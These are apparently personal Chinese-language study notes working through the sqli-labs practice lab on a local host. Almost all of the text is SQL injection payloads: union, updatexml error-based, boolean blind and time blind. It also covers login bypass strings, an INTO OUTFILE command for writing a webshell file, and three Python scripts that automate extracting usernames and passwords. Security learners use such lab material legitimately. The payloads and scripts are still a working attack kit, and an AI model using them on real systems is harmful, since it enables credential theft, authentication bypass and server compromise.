没有别的提示,先尝试用get输入ID
id=1/id=1"有正常显示,id=1’出错(字符型注入)
id=1'
会出错
sql还有个注释方法是–+,测试可行
id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
得到当前数据库表名 emails,referers,uagents,users
id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='emails')--+
得到emails中的全部列名
id=0' union select 1,group_concat(id),group_concat(email_id) from emails --+
得到emails两列的所有内容
database()
将会返回当前网站所使用的数据库名字
user()
将会返回执行当前查询的用户名
version()
返回数据库版本
@@version_compile_os
获取当前操作系统
group_concat(schema_name) from information_schema.schemata
所有数据库名字
id=1、id=1 and 1=1正常,id=1’和id=1"都报错(数字型注入)
那就直接试试id=1 order by 4
剩下和less1一样,把单引号去掉就行(最后注释也可以不用)
依旧是只有三列
id=1和id=1’正常,id=1"报错)
剩下和上题一样
id=1’ 报错
数据库名id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
表名id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
emails列名id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e),1)--+
内容id=1' and updatexml(1,concat(0x7e,(select group_concat(id) from emails),0x7e),1)--+
id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+
没显示完,因为updatexml()最多只能爆32位字符,而要爆的数据超过了这个位数
使用limit X,1来一个个查。
id=1’ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)–+
跟5一样,把’改成"就行了
依旧是单引号报错
把5的‘改成’))就行了
但上面提示输出文件,还是去搜了
数据库file权限和 into outfile:
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令是filefile系列函数来进行读取敏感文件或者写入webshell
into outfile命令使用的环境:必须知道,服务器上一个可以写入文件的文件夹的完整路径
http://127.0.0.1/sqli-labs-php7-master/Less-7/?id=-1')) union select 1,2,"" into outfile "D:\phpstudy\PHPTutorial\WWW\sqli-labs-php7-master\Less-7\try1.php"--+
格式依旧是’,但是错误的时候直接没有返回了?
可以用bool盲注(正确和错误有差别)。上网搜了脚本改了一点
left(version(),1)=5
查看版本开头 为5
import sys
import requests
def getPayload(result_index, char_index, ascii):
# 附加url
start_str = "1' and "
end_str = "--+"
# 连接select
#所有数据库名
#select_str = " select schema_name from information_schema.schemata"+" limit "+str(result_index)+",1"
#所有表名
#select_str = " select group_concat(table_name) from information_schema.tables where table_schema=database()"+" limit "+str(result_index)+",1"
#所有列名
select_str = " select group_concat(column_name) from information_schema.columns where table_name='emails'"+" limit "+str(result_index)+",1"
#注入表中数据
database_name = "database()"
table_name = "users"
column_name = ["id","username","password"]
#内容
#where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
#select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqli-labs-php7-master/Less-8/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
#print(exec_url)
# 检查回显
echo = "You are in"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(result_index, char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(result_index), str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(result_index), str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = dichotomy(num, len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()
题目时间盲注、单引号(我终于开始看题目了
不管输入什么都是同一个返回,用时间盲注,mid和 substr都一样
import sys
import time
import requests
def getPayload(result_index, char_index, ascii):
# 附加url
start_str = "1' and "
end_str = "--+"
# 连接select
#所有数据库名
#select_str = " select schema_name from information_schema.schemata"+" limit "+str(result_index)+",1"
#所有表名
#select_str = " select group_concat(table_name) from information_schema.tables where table_schema=database()"+" limit "+str(result_index)+",1"
#所有列名
#select_str = " select group_concat(column_name) from information_schema.columns where table_name='emails'"+" limit "+str(result_index)+",1"
#注入表中数据
database_name = "database()"
table_name = "users"
column_name = ["id","username","password"]
#内容
where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
# 连接payload
sqli_str = "if(ascii(mid(("+select_str+"),"+str(char_index)+",1))="+str(ascii)+",sleep(0.5),0)"
payload = start_str + sqli_str + end_str
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/?id="
exec_url = url + getPayload(result_index, char_index, ascii)
#print(exec_url)
# 检查延时
before_time = time.time()
requests.head(exec_url) # 节约时间
after_time = time.time()
use_time = after_time - before_time
if use_time > 0.4:
return True
else:
return False
def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index+1), str(ascii)):
return ascii_char
return chr(1)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()
跟9一样,单引号改成双引号
Post
单引号注入
1' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())#
用跟之前一样的方法替换就能差剩下的
1"报错
1") or 1=1#可以登入
把上一题的‘改成“)
格式为’)
没有回显
用报错注入(参照less5(改个格式就行
1') and updatexml(1,concat(0x7e,database(),0x7e),1)#
格式为",也没有回显
剩下和上一题一样
没有报错回显
试了几个 1' or 1=1#
可以成功登入,闭合为’
可以用延时注入
admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
admin是正确用户名(也可以1’or
(sleep太低可能会出错)(但是太高好慢啊
字符错误等待5秒。可以得到数据库第一个字符是s
import sys
import time
import requests
def getPayload(result_index, char_index, ascii):
# 连接select
#所有数据库名
#select_str = " select schema_name from information_schema.schemata"+" limit "+str(result_index)+",1"
#所有表名
#select_str = " select group_concat(table_name) from information_schema.tables where table_schema=database()"+" limit "+str(result_index)+",1"
#所有列名
#select_str = " select group_concat(column_name) from information_schema.columns where table_name='emails'"+" limit "+str(result_index)+",1"
#注入表中数据
database_name = "database()"
table_name = "users"
column_name = ["id","username","password"]
#内容
where_str = " where table_schema='"+database_name+"'"+" and table_name='"+table_name+"'"
select_str = "select concat_ws('-',"+column_name[0]+","+column_name[1]+","+column_name[2]+") from "+table_name+" limit "+str(result_index)+",1"
# 连接payload
sqli_str = "if(ascii(mid(("+select_str+"),"+str(char_index)+",1))="+str(ascii)+",sleep(0.5),0)"
#payload = {"uname":"1", "passwd":"1' or "+sqli_str+"#"}#post提交的数据
payload = {"uname":"1' or "+sqli_str+"#", "passwd":"1"}
return payload
def execute(result_index, char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqli-labs-php7-master/Less-15/"
payload = getPayload(result_index, char_index, ascii)
#print(payload)
# 检查延时
before_time = time.time()
requests.post(url, data=payload)
after_time = time.time()
use_time = after_time - before_time
if use_time > 0.4:
return True
else:
return False
def exhaustive(result_index, char_index):
# ascii可显字符从32到126共95个 按可能性顺序
ascii_list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','_','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','[','\\',']','^','`','{','|','}','~']
for ascii_char in ascii_list:
ascii = ord(ascii_char)
if execute(str(result_index), str(char_index+1), str(ascii)):
return ascii_char
return chr(1)
if __name__ == "__main__":
for num in range(32): # 查询结果的数量
count = 0
for len in range(32): # 单条查询结果的长度
count += 1
char = exhaustive(num, len)
if ord(char) == 1: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
if count == 1: # 查询结果已被遍历
break
sys.stdout.write("\r\n")
sys.stdout.flush()
1") or 1=1#
可以登陆
没有报错回显,闭合为")
把上一题的’改成")就行了
页面有 PASSWORD RESET 重置密码
大概是固定了用户名,只能从密码注入
1' or 1=1#
不报错
然后就是账号固定admin,密码用less5的语句就行
页面显示了IP地址
源码显示对uname和passwd都过滤了(去看了一眼17的代码,也过滤了uname
底下的代码显示执行的包括ID、uagent、uname、passwd,而且会返回报错
应该是引号闭合
同时从上面也可以看出insert的格式(uagent,ip,uname),所以报错注入的时候后面还要加两个字符串
1' or updatexml(1,concat(0x7e,database(),0x7e),1),'','')#
剩下的用之前的替换就行
剩下的一样
没有返回按钮,底下提示删除cookie,删了会回到登陆页面
但是只有用admin才能登入。。。
剩下就直接带入之前的
脚本来源:https://www.jianshu.com/u/f5a5bfa4f659